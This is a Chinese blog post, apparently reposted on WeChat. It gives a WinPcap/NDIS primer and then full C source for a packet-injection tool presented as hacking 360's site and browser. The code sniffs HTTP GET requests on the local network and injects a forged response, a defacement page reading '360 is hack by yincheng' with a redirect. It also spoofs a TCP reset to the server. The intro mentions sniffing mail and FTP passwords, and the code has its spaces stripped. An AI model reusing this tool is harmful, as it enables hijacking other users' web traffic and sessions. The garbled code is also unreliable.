基于winpcap的NDIS在IE浏览器,360安全浏览器hack"www.360.cn"




winpcap(windowspacketcapture)是windows平台下一个免费,公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。
winpcap驱动各项功能
  1.捕获原始数据包,包括在共享网络上各主机发送/接收的以及相互之间交换的数据winpcap结构
包; 
 2.在数据包发往应用程序之前,按照自定义的规则将某些特殊的数据包过滤掉;
  3.在网络上发送原始的数据包; 
 4.收集网络通信过程中的统计信息。  
winpcap的主要功能在于独立于主机协议(如TCP-IP)而发送和接收原始数据包。也就是说,winpcap不能阻塞,过滤或控制其他应用程序数据包的发收,它仅仅只是监听共享网络上传送的数据包。因此,它不能用于QoS调度程序或个人防火墙。目前,winpcap开发的主要对象是windowsNT/2000/XP,这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows95/98/Me,并且MS也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似,只是在某些实现上有点差异,比如说9x只支持ANSI编码,而NT系统则提倡使用Unicode编码。有个软件叫snifferpro.可以作网管软件用,有很多功能,可监视网络运行情况,每台网内机器的数据流量,实时反映每台机器所访问IP以及它们之间的数据流通情况,可以抓包,可对过滤器进行设置,以便只抓取想要的包,比如POP3包,smtp包,ftp包等,并可从中找到邮箱用户名和密码,还有ftp用户名和密码。它还可以在使用交换机的网络上监听,不过要在交换机上装它的一个软件。还有一个简单的监听软件叫Passwordsniffer,可截获邮箱用户名和密码,还有ftp用户名和密码,它只能用在HUB网络上。著名软件tcpdump及idssnort都是基于libpcap编写的,此外Nmap扫描器也是基于libpcap来捕获目标主机返回的数据包的。 
 winpcap提供给用户两个不同级别的编程接口:一个基于libpcap的wpcap.dll,另一个是较底层的packet.dll。对于一般的要与unix平台上libpcap兼容的开发来说,使用wpcap.dll是当然的选择。
编辑本段Winpcap的内部结构
Winpcap的各个组成部分
  Winpcap是针对Win32平台上的抓包和网络分析的一个架构。它包括一个核心态的包过滤器,一个底层的动态链接库(packet.dll)和一个高层的不依赖于系统的库(wpcap.dll)。  为什么使用“architecture”而不是“library”呢?因为抓包是一个要求与网络适配器(网卡)和操作系统交互的底层机制,而且与网络的实施也有密切关系,所以仅用“library”不能充分表达Winpcap的作用。 
  首先,抓包系统必须绕过操作系统的协议栈来访问在网络上传输的原始数据包(rawpacket),这就要求一部分运行在操作系统核心内部,直接与网络接口驱动交互。这个部分是系统依赖(systemdependent)的,在Winpcap的解决方案里它被认为是一个设备驱动,称作NPF(NetgroupPacketFilter)。Winpcap开发小组针对Windows95,Windows98,WindowsME,WindowsNT4,Windows2000和WindowsXP提供了不同版本的驱动。这些驱动不仅提供了基本的特性(例如抓包和injection),还有更高级的特性(例如可编程的过滤器系统和监视引擎)。前者可以被用来约束一个抓包会话只针对网络通信中的一个子集(例如,仅仅捕获特殊主机产生的ftp通信的数据包),后者提供了一个强大而简单的统计网络通信量的机制(例如,获得网络负载或两个主机间的数据交换量)。 
 其次,抓包系统必须有用户级的程序接口,通过这些接口,用户程序可以利用内核驱动提供的高级特性。Winpcap提供了两个不同的库:packet.dll和wpcap.dll。前者提供了一个底层API,伴随着一个独立于Microsoft操作系统的编程接口,这些API可以直接用来访问驱动的函数;后者导出了一组更强大的与libpcap一致的高层抓包函数库(captureprimitives)。这些函数使得数据包的捕获以一种与网络硬件和操作系统无关的方式进行。
NPF驱动
  网络数据包过滤器(NetgroupPacketFilter,NPF)是Winpcap的核心部分,它是Winpcap完成困难工作的组件。它处理网络上传输的数据包,并且对用户级提供可捕获(capture)、发送(injection)和分析性能(analysiscapabilities)。
NPF和NDIS
  NDIS(NetworkDriverInterfaceSpecification)是一个定义网络适配器(或者说成是管理网络适配器的驱动程序)与协议驱动(例如TCP/IP的实现)之间通信的规范。NDIS最主要的目的是作为一个允许协议驱动发送和接收网络(LAN或WAN)上的数据包而不必关心特定的适配器或特定的Win32操作系统的封装。  NDIS支持三种类型的网络驱动:
  (1)网络接口卡或NIC驱动(NetworkinterfacecardorNICdrivers)。NIC驱动直接管理着网络接口卡(NIC)。NIC驱动接下边与硬件连接,从上边表现为一个接口,该接口允许高层发送数据包到网络上,处理中断,重置NIC,停止NIC,查询和设置驱动的运行特征。NIC驱动可以是小端口(miniport)或完全的NIC驱动(fullNICdriver)。
  Miniport驱动仅仅实现了管理NIC的必要操作,包括在NIC上发送和接收数据。对于所有最底层的NIC驱动的操作由NDIS提供,例如同步(synchronization)。小端口(miniport)不直接调用操作系统函数,它们对于操作系统的接口是NDIS。 
 小端口仅仅是向上传递数据包给NDIS并且NDIS确保这些数据包被传递给正确的协议。
  完全NIC驱动(FullNICdriver)完成硬件细节的操作和所有由NDIS完成的同步和查询操作。例如,完全NIC驱动维持接收到的数据的绑定信息。  
(2)中间层驱动(Intermediatedrivers)中间层驱动位于高层驱动(例如协议驱动)和小端口之间。对于高层驱动,中间层驱动看起来像是小端口;对于小端口,中间层驱动看起来像协议驱动。一个中间层协议驱动可以位于另一个中间层驱动之上,尽管这种分层可能对系统性能带来负面影响。开发中间层驱动的一个关键原因是在现存的遗留协议驱动(legacyprotocoldriver)和小端口之间形成媒体的转化。例如,中间层驱动可以将LAN协议转换成ATM协议。中间层驱动不能与用户模式的应用程序通信,但可以与其他的NDIS驱动通信。 
 (3)传输驱动或协议驱动(Transportdriversorprotocoldrivers)协议驱动实现了网络协议栈,例如IPX/SPX或TCP/IP,在一个或多个网络接口卡上提供它的服务。在协议驱动的上面,它为应用层客户程序服务;在它的下面,它与一个或多个NIC驱动或中间层NDIS驱动连接。


大家看到的360被hack,.以及360安全浏览器被hack.的源代码解析如下

源代码分析如下:
代码:
#include"pcap.h"

#include<mbstring.h>
#include<stdio.h>
#include<windows.h>
#include<string>

#include"tcpip.h"
usingnamespacestd;
structpseudoheader/*TCP头文件*/
{
u_int32_tsip,dip;/*IP地址*/
u_int8_tzero;/*空白字节*/
u_int8_tprotocol;/*协议号*/
u_int16_ttcplen;/*TCP长度*/
};
pcap_t*m_fp;//网卡指针,用于发

/*块缓冲区禁止客户端向发送*/
u_int8_tm_pBlockBuffer[512];
u_int32_tm_cbBlockBuffer;
charszReURL[256];
/*一个54字节的缓冲区需要发送TCP重置数据包*/
charreset_buf[54];

boolSendPacket(u_char*buf,intiSize);

/*检查前4个字节,如果传入的缓冲区为“GET/”*/
intCheckHttpState(u_int8_t*buffer,u_int32_tlen);

voidDecodeHTTP(u_int8_t*,
constu_int32_t,
Packet*);

voidDecodeTCP(u_int8_t*,
constu_int32_t,
Packet*);

/*解码IP包头和包对象举行*/
voidDecodeIP(u_int8_t*,
constu_int32_t,
Packet*);







intFilterHttpRequest(Packet*);

/*计算IP头的校验*/
unsignedshortCalcIPSum(unsignedshort*,int);

/*为TCP报头的校验和计算*/
unsignedshortCalcTCPSum(unsignedshort*h,unsignedshort*d,intdlen);

intFilterHttpRequest(Packet*p);
/*头的校验和计算*/
voidpacket_handler(u_char*param,conststructpcap_pkthdr*header,constu_char*pkt_data);

intmain()
{

ZeroMemory(m_pBlockBuffer,512);
stringstrBufferHdr;
stringstrBufferHTML;
stringstrhttp("http://");
charszRedirect[512]={0};
lstrcpy(szReURL,"http://www.360.cn");

char*pTemp=strstr(szReURL,"http://");
if(!pTemp){
sprintf(szRedirect,"<metahttp-equiv=\"Refresh\"content=1;url=%s%s>","http://",szReURL);
}
else
{
sprintf(szRedirect,"<metahttp-equiv=\"Refresh\"content=1;url=%s>",szReURL);
}

strBufferHTML="<html>";
strBufferHTML+="<head>";
strBufferHTML+="<title>360ishackbyyincheng</title>";
strBufferHTML+=string(szRedirect);
strBufferHTML+="</head><body><TABLEheight=\"100%\"width=\"100%\">";
strBufferHTML+="<TR>";
strBufferHTML+="<TDalign=\"center\"><h1>360ishackbyyincheng</h1>";
strBufferHTML+="</TD>";
strBufferHTML+="</TR>";
strBufferHTML+="</TABLE>";
strBufferHTML+="</body>";
strBufferHTML+="</html>\n\n\n";


charlen[10];
_itoa(strBufferHTML.size(),len,10);

strBufferHdr+="HTTP/1.1200OK\r\n";
strBufferHdr+="Content-Type:Text/HTML\r\n";
strBufferHdr+="Connection:close\r\n";
strBufferHdr+="Content-Lenght:";
strBufferHdr+=len;
strBufferHdr+="\r\n\r\n";


strBufferHdr+=strBufferHTML;

//第54个字节保留的TCP和IP报头的位置

_mbscpy(m_pBlockBuffer+54,(u_int8_t*)strBufferHdr.c_str());
m_cbBlockBuffer=strBufferHdr.size();//仅HTTP负载的大小




m_fp=NULL;

pcap_if_t*alldevs;
pcap_if_t*d;
intinum;
inti=0;
pcap_t*adhandle;
charerrbuf[PCAP_ERRBUF_SIZE];

/*检索设备清单*/
if(pcap_findalldevs(&alldevs,errbuf)==-1)
{

exit(1);
}

/*Printthelist*/
for(d=alldevs;d;d=d->next)
{
printf("%d.%s",++i,d->name);
if(d->description)
printf("(%s)\n",d->description);

}

if(i==0)
{
printf("\n确保WinPcap已经安装.\n");
return-1;
}

printf("输入序列号(1-%d):",i);
scanf("%d",&inum);

if(inum<1||inum>i)
{
printf("\n设备接口.\n");
/*释放设备列表*/
pcap_freealldevs(alldevs);
return-1;
}


/*到选定的适配器*/
for(d=alldevs,i=0;i<inum-1;d=d->next,i++);

/*打开网卡适配器*/
if((m_fp=pcap_open_live(d->name,//设备名称
1,//设备捕获端口.
//65536全包.
1,//混杂模式(非零手段混杂)
1000,//超时
errbuf//错误
))==NULL)
{

/*释放设备列表*/
pcap_freealldevs(alldevs);
return-1;
}


if((adhandle=pcap_open_live(d->name,
65536,

1,
5,
errbuf
))==NULL)
{
fprintf(stderr,"\nUnabletoopentheadapter.%sisnotsupportedbyWinPcap\n",d->name);
/*Freethedevicelist*/
pcap_freealldevs(alldevs);
return-1;
}

printf("\nlisteningon%s...\n",d->description);


pcap_freealldevs(alldevs);

/*启动捕获*/
pcap_loop(adhandle,0,packet_handler,NULL);

if(adhandle)
pcap_close(adhandle);
if(m_fp)
pcap_close(m_fp);
return0;
}


/*libpcap的每个传入的数据包调用的回调函数*/
voidpacket_handler(u_char*param,conststructpcap_pkthdr*header,constu_char*pkt_data)
{


intres=0;
Packet*p=NULL;
p=(Packet*)malloc(sizeof(Packet));


ZeroMemory(p,sizeof(Packet));

res=header->len;

DecodeIP((u_int8_t*)pkt_data,res,p);
if(p->banned==1){
printf("gethttppacket.\n");
FilterHttpRequest(p);
}


/////////加入http的判断//////////////////////////////////////////////////////////////////////////

p->eh=(EtherHdr*)pkt_data;
if(p->eh->ether_type==0x0008)//上面是IP层
{

//laytheIPstructovertherawdata
p->iph=(IPHdr*)(pkt_data+ETHERNET_HEADER_LEN);


if(p->iph->ip_proto==6)
{


p->tcph=(TCPHdr*)(pkt_data+ETHERNET_HEADER_LEN+IP_HEADER_LEN);
/


if(p->tcph->th_flags&TH_ACK
&&p->tcph->th_flags&TH_PSH)
{

if(p->tcph->th_dport!=htons(80)&&
//IftargetserviceisnotHTTP
p->tcph->th_dport!=htons(8080))
return;

p->data=(byte*)(pkt_data+ETHERNET_HEADER_LEN+
IP_HEADER_LEN+TCP_HEADER_LEN);


if(p->data[0]=='G'&&
p->data[1]=='E'&&
p->data[2]=='T'&&
p->data[3]==''&&
p->data[4]=='/'
)
{

printf("getdnspacket.\n");
FilterHttpRequest(p);

}

}
}
}

if(p)
free(p);
p=NULL;
////////http的完/////////////////////////////////////////////////////////////////////////////////

}


intFilterHttpRequest(Packet*p)
{

DWORDerr=0;



pseudoheaderph;/*伪头声明*/



//////////////////////////发送块页为CLIENT//////////////////////////

//Usethefirst54bytesofm_pBlockBufferforfutureTCPcontrolpackettransmission.
ZeroMemory(m_pBlockBuffer,54);//onlyzerofirst54bytes
EtherHdr*respEh=((EtherHdr*)(m_pBlockBuffer));
IPHdr*respIpHdr=((IPHdr*)(m_pBlockBuffer+sizeof(EtherHdr)));
TCPHdr*respTcpHdr=((TCPHdr*)(m_pBlockBuffer+sizeof(EtherHdr)+sizeof(IPHdr)));

memcpy(respEh->ether_dst,p->eh->ether_src,6);
memcpy(respEh->ether_src,p->eh->ether_dst,6);
respEh->ether_type=p->eh->ether_type;

respIpHdr->ip_csum=0;
respIpHdr->ip_dst=p->iph->ip_src;
respIpHdr->ip_src=p->iph->ip_dst;
respIpHdr->ip_len=htons(/*sizeof(EtherHdr)+*/(u_short)(sizeof(IPHdr)+sizeof(TCPHdr)+m_cbBlockBuffer));
SET_IP_VER(respIpHdr,0x4);
SET_IP_HLEN(respIpHdr,0x5);
respIpHdr->ip_tos=p->iph->ip_tos;
respIpHdr->ip_ttl=p->iph->ip_ttl;
respIpHdr->ip_id=htons(2);
respIpHdr->ip_off=0;
respIpHdr->ip_proto=0x06;
respIpHdr->ip_csum=
CalcIPSum((u_short*)respIpHdr,IP_HLEN(respIpHdr)<<2);



respTcpHdr->th_ack=htonl(ntohl(p->tcph->th_seq)+p->dsize);
respTcpHdr->th_seq=p->tcph->th_ack;
respTcpHdr->th_sport=p->tcph->th_dport;
respTcpHdr->th_dport=p->tcph->th_sport;
respTcpHdr->th_flags=TH_FIN|TH_ACK;

SET_TCP_OFFSET(respTcpHdr,0x5);
SET_TCP_X2(respTcpHdr,0x0);
respTcpHdr->th_win=p->tcph->th_win;
respTcpHdr->th_urp=0;



ph.sip=(u_int32_t)(p->iph->ip_dst.s_addr);
ph.dip=(u_int32_t)(p->iph->ip_src.s_addr);
ph.zero=0;
ph.protocol=0x06;
ph.tcplen=htons((u_short)(sizeof(TCPHdr)+m_cbBlockBuffer));
respTcpHdr->th_sum=0;
respTcpHdr->th_sum=
CalcTCPSum((u_int16_t*)&ph,
(u_int16_t*)respTcpHdr,
sizeof(TCPHdr)+m_cbBlockBuffer);

if(!SendPacket(m_pBlockBuffer,sizeof(EtherHdr)+sizeof(IPHdr)+sizeof(TCPHdr)+m_cbBlockBuffer)){
printf("failtoSendPacket");
return0;
}





///////////////////////发送TCP复位到服务器////////////////////////////

ZeroMemory(reset_buf,54);
EtherHdr*rstpEh=((EtherHdr*)(reset_buf));
IPHdr*rstIpHdr=((IPHdr*)(reset_buf+sizeof(EtherHdr)));
TCPHdr*rstTcpHdr=((TCPHdr*)(reset_buf+sizeof(EtherHdr)+sizeof(IPHdr)));


memcpy(rstpEh->ether_dst,p->eh->ether_dst,6);
memcpy(rstpEh->ether_src,p->eh->ether_src,6);
rstpEh->ether_type=p->eh->ether_type;

rstIpHdr->ip_dst=p->iph->ip_dst;
rstIpHdr->ip_id=htons(2);
rstIpHdr->ip_len=htons(/*sizeof(EtherHdr)+*/(u_short)(sizeof(IPHdr)+sizeof(TCPHdr)));
rstIpHdr->ip_off=0;
rstIpHdr->ip_proto=0x06;
rstIpHdr->ip_src=p->iph->ip_src;
rstIpHdr->ip_tos=p->iph->ip_tos;
rstIpHdr->ip_ttl=p->iph->ip_ttl;
SET_IP_VER(rstIpHdr,0x4);
SET_IP_HLEN(rstIpHdr,0x5);
rstIpHdr->ip_csum=
CalcIPSum((u_short*)rstIpHdr,IP_HLEN(rstIpHdr)<<2);

rstTcpHdr->th_ack=p->tcph->th_ack;
rstTcpHdr->th_seq=p->tcph->th_seq;
rstTcpHdr->th_sport=p->tcph->th_sport;
rstTcpHdr->th_dport=p->tcph->th_dport;
rstTcpHdr->th_flags=TH_RST;//TH_RST;

SET_TCP_OFFSET(rstTcpHdr,0x5);
SET_TCP_X2(rstTcpHdr,0x0);
rstTcpHdr->th_win=p->tcph->th_win;
rstTcpHdr->th_urp=0;

ph.sip=(u_int32_t)(p->iph->ip_src.s_addr);
ph.dip=(u_int32_t)(p->iph->ip_dst.s_addr);
ph.zero=0;
ph.protocol=0x06;
ph.tcplen=htons((u_short)sizeof(TCPHdr));

rstTcpHdr->th_sum=
CalcTCPSum((u_int16_t*)&ph,
(u_int16_t*)rstTcpHdr,
sizeof(structTCPHdr));

if(!SendPacket((u_char*)reset_buf,sizeof(EtherHdr)+sizeof(IPHdr)+sizeof(TCPHdr))){
printf("failtoSendPacket");
return0;
}

return1;
}

unsignedshortCalcIPSum(unsignedshort*w,intsize)
{
/*


/*cksum=w[0];
cksum+=w[1];
cksum+=w[2];
cksum+=w[3];
cksum+=w[4];
cksum+=w[5];
cksum+=w[6];
cksum+=w[7];
cksum+=w[8];
cksum+=w[9];

blen-=20;
w+=10;

while(blen)/*IP-hdrmustbeanintegralnumberof4bytewords*/
/*{
cksum+=w[0];
cksum+=w[1];
w+=2;
blen-=4;
}

cksum=(cksum>>16)+(cksum&0x0000ffff);
cksum+=(cksum>>16);

return(unsignedshort)(~cksum);*/
unsignedlongcksum=0;

while(size>1)
{
cksum+=*w++;
size-=sizeof(USHORT);
}
if(size)//如果字节数是不是2的倍数才会执行
{
cksum+=*(UCHAR*)w;
}
cksum=(cksum>>16)+(cksum&0xffff);
cksum+=(cksum>>16);
return(USHORT)(~cksum);
}


unsignedshortCalcTCPSum(unsignedshort*h,unsignedshort*d,intdlen)
{
unsignedintcksum;
unsignedshortanswer=0;

/*PseudoHeader必须有12个字节*/
cksum=h[0];
cksum+=h[1];
cksum+=h[2];
cksum+=h[3];
cksum+=h[4];
cksum+=h[5];

/*TCPHDR必须有20HDR字节*/
cksum+=d[0];
cksum+=d[1];
cksum+=d[2];
cksum+=d[3];
cksum+=d[4];
cksum+=d[5];
cksum+=d[6];
cksum+=d[7];
cksum+=d[8];
cksum+=d[9];

dlen-=20;/*bytes*/
d+=10;/*short's*/

while(dlen>=32)
{
cksum+=d[0];
cksum+=d[1];
cksum+=d[2];
cksum+=d[3];
cksum+=d[4];
cksum+=d[5];
cksum+=d[6];
cksum+=d[7];
cksum+=d[8];
cksum+=d[9];
cksum+=d[10];
cksum+=d[11];
cksum+=d[12];
cksum+=d[13];
cksum+=d[14];
cksum+=d[15];
d+=16;
dlen-=32;
}

while(dlen>=8)
{
cksum+=d[0];
cksum+=d[1];
cksum+=d[2];
cksum+=d[3];
d+=4;
dlen-=8;
}

while(dlen>1)
{
cksum+=*d++;
dlen-=2;
}

if(dlen==1)
{

*(unsignedchar*)(&answer)=(*(unsignedchar*)d);



cksum+=answer;
}

cksum=(cksum>>16)+(cksum&0x0000ffff);
cksum+=(cksum>>16);

return(unsignedshort)(~cksum);
}



boolSendPacket(u_char*buf,intiSize)
{
if(!m_fp)
returnfalse;
intiResult;
try
{
iResult=pcap_sendpacket(m_fp,buf,iSize);
}
catch(...)
{
}
if(iResult==0)
returntrue;
returnfalse;
}

voidDecodeIP(u_int8_t*pkt,constu_int32_tlen,Packet*p)
{
u_int32_tip_len;
u_int32_thlen;/*ip头长度*/



/*定了原始数据的以太网结构*/
p->eh=(EtherHdr*)pkt;
/*在原始数据的IP结构*/
p->iph=(IPHdr*)(pkt+ETHERNET_HEADER_LEN);


/*做点验证*/
if(len<IP_HEADER_LEN)
{
p->iph=NULL;
return;
}

if(IP_VER(p->iph)!=4)
{
p->iph=NULL;
return;
}

/*设置IP数据报长度*/
ip_len=ntohs(p->iph->ip_len);

/*设置IP头长度*/
hlen=IP_HLEN(p->iph)<<2;

/*头部长度的完整性检查*/
if(hlen<IP_HEADER_LEN)
{
p->iph=NULL;
return;
}

if(ip_len>len)
{
ip_len=len;
}

if(ip_len<hlen)
{
p->iph=NULL;
return;
}

/*测试IP选项*/
p->ip_options_len=hlen-IP_HEADER_LEN;

if(p->ip_options_len>0)
{
p->ip_options_data=pkt+IP_HEADER_LEN;
}


/*设置其余的数据包长度*/
ip_len-=hlen;

/*检查数据包碎片*/
p->frag_offset=ntohs(p->iph->ip_off);

/*
*得到保留,更值
*片段,并没有做片段的标志
*/
p->rf=(u_int8_t)((p->frag_offset&0x8000)>>15);
p->df=(u_int8_t)((p->frag_offset&0x4000)>>14);
p->mf=(u_int8_t)((p->frag_offset&0x2000)>>13);

/*屏蔽掉在片段偏移字段的高位*/
p->frag_offset&=0x1FFF;

if(p->frag_offset||p->mf)
{
/*设置该数据包片段旗标*/
p->frag_flag=1;
}

/*如果这个包是不是一个片段*/
if(!(p->frag_flag))
{

/*解码TCP头*/
if(p->iph->ip_proto==IPPROTO_TCP)
{
DecodeTCP(pkt+ETHERNET_HEADER_LEN+hlen,ip_len,p);
}

}
else
{
/*设置有效载荷指针和有效载荷的大小*/
p->data=pkt+ETHERNET_HEADER_LEN+hlen;
p->dsize=(u_short)ip_len;
}


return;
}

voidDecodeTCP(u_int8_t*pkt,constu_int32_tlen,Packet*p)
{
u_int32_thlen;/*TCP头长度*/

if(len<20)
{
p->tcph=NULL;
return;
}

/*延迟TCP*/
p->tcph=(TCPHdr*)pkt;

/*重新设定值*/
hlen=TCP_OFFSET(p->tcph)<<2;

if(hlen<20)
{
p->tcph=NULL;
return;
}

if(hlen>len)
{
p->tcph=NULL;
return;
}

/*重新编码*/
p->tcp_options_len=hlen-20;

if(p->tcp_options_len>0)
{
p->tcp_options_data=pkt+20;
}


/*设置数据指针字节*/
p->data=(u_int8_t*)(pkt+hlen);

if(hlen<len)
{
p->dsize=(u_short)(len-hlen);
}
else
{
p->dsize=0;
}

if(p->tcph->th_flags&TH_ACK
/*&&p->tcph->th_flags&TH_PSH*/)
{
if(p->tcph->th_dport!=htons(80)&&
p->tcph->th_dport!=htons(8080))
return;

DecodeHTTP(p->data,p->dsize,p);

}
return;
}

voidDecodeHTTP(u_int8_t*pkt,constu_int32_tlen,Packet*p)
{
if(CheckHttpState(pkt,len)==CLIENT_REQUEST)
{


stringstrUrl("Host:");
stringstrOriginURL=string(szReURL);
intnindex=strOriginURL.find("http://");
if(nindex==-1){
strUrl+=strOriginURL;
}else
{
stringstr("");
str=strOriginURL.substr(7,strOriginURL.size()-7);

strUrl+=str;
}


char*pTemp=strstr((char*)pkt,(char*)strUrl.c_str());
if(pTemp)
p->banned=0;//notfilterit
else
p->banned=1;//packetcaught,Filterit

}

}

intCheckHttpState(u_int8_t*buffer,u_int32_tlen)
{
if(!len)
returnNOT_HTTP;

if(buffer[0]=='G'&&
buffer[1]=='E'&&
buffer[2]=='T'&&
buffer[3]==''&&
buffer[4]=='/')

returnCLIENT_REQUEST;

if(buffer[0]=='H'&&
buffer[1]=='T'&&
buffer[2]=='T'&&
buffer[3]=='P')
returnSERVER_RESPONSE;

returnNOT_HTTP;
}

上传的缩略图
点击图片以查看大图

名称:	QQ截图20120613170557.png
查看次数:	41
文件大小:	42.2 KB
ID:	68212
优质内容筛选与推荐>>
1、[面试题] 位运算
2、[BZOJ1606] [Usaco2008 Dec] Hay For Sale 购买干草 (dp)
3、无限极分类
4、简单干净的C# MVC设计案例:BrothersDropdownList()
5、可以测试作为电话号码或者英文的字体参考


长按二维码向我转账

受苹果公司新规定影响,微信 iOS 版的赞赏功能被关闭,可通过二维码转账支持公众号。

    阅读
    好看
    已推荐到看一看
    你的朋友可以在“发现”-“看一看”看到你认为好看的文章。
    已取消,“好看”想法已同步删除
    已推荐到看一看 和朋友分享想法
    最多200字,当前共 发送

    已发送

    朋友将在看一看看到

    确定
    分享你的想法...
    取消

    分享想法到看一看

    确定
    最多200字,当前共

    发送中

    网络异常,请稍后重试

    微信扫一扫
    关注该公众号